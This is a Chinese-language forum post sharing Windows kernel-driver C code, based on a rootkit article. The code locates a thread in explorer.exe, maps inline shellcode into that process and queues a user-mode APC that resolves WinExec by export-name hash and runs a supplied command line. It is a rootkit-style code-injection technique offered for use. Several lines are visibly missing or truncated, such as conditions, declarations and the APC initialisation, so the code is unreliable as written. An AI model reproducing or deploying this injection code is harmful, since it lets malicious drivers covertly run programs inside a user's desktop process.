用APC实现在内核模式运行用户程序
0赞
昨天晚上弄到1点,总算把这个东西调通了,这个是老技术了,在rootkit上又篇文章讨论过,参考那篇文章我把这个东西弄出来了.代码贴在下面灌水,高手就不用看了......
//=====================================================================================//
//Name: void RunUserModeProcess() //
// //
//Descripion: This routine retrieves the list of all processes running on the machine, //
// searches for 'explorer.exe', gets one thread from it's PEPROCESS struct, //
// then it queues an APC to that thread //
//=====================================================================================//
void RunUserModeProcess(char* command_line)
{
PKTHREAD pTargetThread = NULL; //thread that can be either alerable or non-alertable
PKTHREAD pNotAlertableThread = NULL; //non-alertable thread
PEPROCESS pSystemProcess = NULL; //May not necessarily be the 'System' process
PLIST_ENTRY pNextEntry, pListHead, pThNextEntry;
if(strlen(command_line)>300) return; //name not longer than 300 characters
{
DbgPrint("lzplhq -> Cannot find 'System' process!");
return;
}
DbgPrint("lzplhq -> No processes found!");
else
{
pListHead = &pSystemProcess->ActiveProcessLinks;
pNextEntry = pListHead->Flink;
{
pSystemProcess = CONTAINING_RECORD(pNextEntry,EPROCESS,ActiveProcessLinks);
{
if(!IsListEmpty(&pSystemProcess->ThreadListHead))
{
//Is this explorer.exe?
if(_strnicmp(pSystemProcess->ImageFileName,"explorer.exe",12)==0)
{
pTargetProcess = pSystemProcess; //Yes,we have found it!
pTargetThread = pNotAlertableThread = NULL;
while(pThNextEntry != &pSystemProcess->ThreadListHead)
{
pTempThread = CONTAINING_RECORD(pThNextEntry,ETHREAD,ThreadListEntry);
{
//Good, an alertable thread was found.
pTargetThread = &pTempThread->Tcb;
//We will be using this one, so break now
break;
}
else
{
//Didn't find an alertable thread yet, so we'll keep this one
//just in case we won't find ANY alertable threads
pNotAlertableThread = &pTempThread->Tcb;
}
}
break;
}
}
}
pNextEntry = pNextEntry->Flink; //get next process
}
}
{
DbgPrint("lzplhq -> Couldn't find Explorer.exe!");
return;
}
{
//No alertable thread was found, so let's hope we've at least got a non-alertable one (we'll set its alertable flag ON)
//There's no problem with non-alertable threads, except for the fact that it takes
//a little longer for them to return from KernelMode. (that means our process execution will be delayed)
pTargetThread = pNotAlertableThread;
}
{
DbgPrint("lzplhq -> Targeted thread: 0x%p",pTargetThread);
//We have one thread (alertable or n/a), now install the APC
InstallUserModeApc(command_line, pTargetThread,pTargetProcess);
}
else
DbgPrint("lzplhq -> No thread found!"); //Explorer exe with NO threads (???)
}
//===================================================================//
//Name: VOID ApcKernelRoutine() //
// //
//Descripion: This routine gets called after the APC routine returns //
// (our process should have been executed by then) //
// It frees all the memory allocated by InstallUserModeApc//
// (APC and MDL) //
//===================================================================//
void ApcKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine,
IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 )
{
PKEVENT pEvent;
ExFreePool(Apc);
pEvent = (PKEVENT)*SystemArgument1;
KeSetEvent (pEvent,IO_NO_INCREMENT,FALSE);
}
//===================================================================//
//Name: //
// NTSTATUS InstallUserModeApc() //
// //
//Paramters: //
// CommandLine - Full path of the process to be executes //
// pTargetThread - This is where we queue our APC //
// pTargetProcess - Should point to Explorer's EPROCESS //
// //
//Descripion: This routine attaches to 'pTargetThread' and it queues //
// a UserMode APC that will be excuted next time the //
// thread returns from KernelMode //
//===================================================================//
NTSTATUS
InstallUserModeApc(char* CommandLine, PKTHREAD pTargetThread, PEPROCESS pTargetProcess)
{
PRKAPC pApc = NULL; //Our APC
PKEVENT pEvent = NULL;
ULONG dwSize = 0; //Size of code to be executed in Explorer's address space
//in the ApcCreateProcess routine
ULONG dwMappedAddress = 0; //same as above
return STATUS_UNSUCCESSFUL;
//Allocate memory for our APC
pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC));
if (!pApc)
{
DbgPrint("lzplhq -> Failed to allocate memory for the APC structure");
return STATUS_INSUFFICIENT_RESOURCES;
}
pEvent = ExAllocatePool (NonPagedPool,sizeof (KEVENT));
if (!pEvent)
{
ExFreePool (pApc);
return STATUS_INSUFFICIENT_RESOURCES;
}
dwSize = (unsigned char*)ApcCreateProcessEnd-(unsigned char*)ApcCreateProcess;
pMdl = IoAllocateMdl (ApcCreateProcess, dwSize, FALSE,FALSE,NULL);
if (!pMdl)
{
DbgPrint("lzplhq -> Failed to allocate MDL");
ExFreePool (pApc);
return STATUS_INSUFFICIENT_RESOURCES;
}
{
//Probe the pages for Write access and make them memory resident
MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("lzplhq -> Exception during MmProbeAndLockPages");
IoFreeMdl (pMdl);
ExFreePool (pApc);
ExFreePool (pEvent);
return STATUS_UNSUCCESSFUL;
}
KeStackAttachProcess(&(pTargetProcess->Pcb),&ApcState);
pMappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority);
{
DbgPrint("lzplhq -> Cannot map address");
IoFreeMdl (pMdl);
ExFreePool (pApc);
ExFreePool (pEvent);
}
else
DbgPrint("lzplhq -> UserMode memory at address: 0x%p",pMappedAddress);
memset ((unsigned char*)pMappedAddress + 163, 0, 260);
memcpy ((unsigned char*)pMappedAddress + 163, CommandLine,strlen (CommandLine));
KeUnstackDetachProcess (&ApcState);
KeInitializeEvent(pEvent,NotificationEvent,FALSE);
OriginalApcEnvironment,
&ApcKernelRoutine,NULL,
pMappedAddress, UserMode, (PVOID) NULL);
if (!KeInsertQueueApc(pApc,pEvent,NULL,0))
{
DbgPrint("lzplhq -> Failed to insert APC");
MmUnlockPages(pMdl);
IoFreeMdl (pMdl);
ExFreePool (pApc);
ExFreePool(pEvent);
return STATUS_UNSUCCESSFUL;
}
else
{
DbgPrint("lzplhq -> APC delivered");
}
if(!pTargetThread->ApcState.UserApcPending)
{
//if yes then alert it
pTargetThread->ApcState.UserApcPending = TRUE;
// apc is fired, wait event to signal completion
KeWaitForSingleObject (pEvent,Executive,KernelMode,FALSE,NULL);
DbgPrint("Get the Event\n");
// free event
ExFreePool (pEvent);
if(pMdl)
{
MmUnlockPages(pMdl);
IoFreeMdl (pMdl);
pMdl = NULL;
}
DbgPrint("lzplhq -> ApcKernelRoutine called. Memory freed.");
return 0;
}
//=====================================================================================//
//Name: void ApcCreateProcess() //
//=====================================================================================//
{
__asm
{
push ebp
mov ebp,esp
push ebx
push esi
push edi
jmp __startup; ; these are just functions.... skip
push esi ; Save esi
push 0x30
pop ecx
mov eax, fs:[ecx] ; Extract the PEB
mov eax, [eax + 0x0c] ; Extract the PROCESS_MODULE_INFO pointer from the PEB
mov esi, [eax + 0x1c] ; Get the address of flink in the init module list
lodsd ; Load the address of blink into eax
mov eax, [eax + 0x8] ; Grab the module base address from the list entry
pop esi ; Restore esi
ret ; Return
pushad ; Save all registers
mov ebp, [esp + 0x24] ; Store the base address in eax
mov eax, [ebp + 0x3c] ; PE header VMA
mov edx, [ebp + eax + 0x78] ; Export table relative offset
add edx, ebp ; Export table VMA
mov ecx, [edx + 0x18] ; Number of names
mov ebx, [edx + 0x20] ; Names table relative offset
add ebx, ebp ; Names table VMA
jecxz __find_function_finished ; Jump to the end if ecx is 0
dec ecx ; Decrement our names counter
mov esi, [ebx + ecx * 4] ; Store the relative offset of the name
add esi, ebp ; Set esi to the VMA of the current name
xor eax, eax ; Zero eax
cld ; Clear direction
lodsb ; Load the next byte from esi into al
test al, al ; Test ourselves.
jz __compute_hash_finished ; If the ZF is set, we've hit the null term.
ror edi, 0xd ; Rotate edi 13 bits to the right
add edi, eax ; Add the new byte to the accumulator
jmp __compute_hash_again ; Next iteration
cmp edi, [esp + 0x28] ; Compare the computed hash with the requested hash
jnz __find_function_loop ; No match, try the next one.
mov ebx, [edx + 0x24] ; Ordinals table relative offset
add ebx, ebp ; Ordinals table VMA
mov cx, [ebx + 2 * ecx] ; Extrapolate the function's ordinal
mov ebx, [edx + 0x1c] ; Address table relative offset
add ebx, ebp ; Address table VMA
mov eax, [ebx + 4 * ecx] ; Extract the relative function offset from its ordinal
add eax, ebp ; Function VMA
mov [esp + 0x1c], eax ; Overwrite stack version of eax from pushad
popad ; Restore all registers
ret 8
nop
pop edi ; Pop address
mov ebx, __execute
sub ebx, __command_line
sub edi, ebx ; filename offset
mov esi,edi ; filename to edi
call __find_kernel32 ; Find kernel32 address
mov ebx, eax ; Save address in ebx
jmp short __execute ; Skip data
call __begin ; Fetch our data address
__execute:
push 0x0e8afe98 ; WinExec hash
push ebx ; kernel32 base address
call __find_function ; find address
inc ecx ; ecx = 1
push ecx ; uCmdShow
push esi ; lpCmdLine. We already have the exe path in esi
call eax ; call WinExec
jmp __end
nop
............ ;omit here, total 300 nop instruction
nop
pop edi ; restore registers
pop esi
pop ebx
pop ebp
ret 0x0c
}
}
void ApcCreateProcessEnd(){}
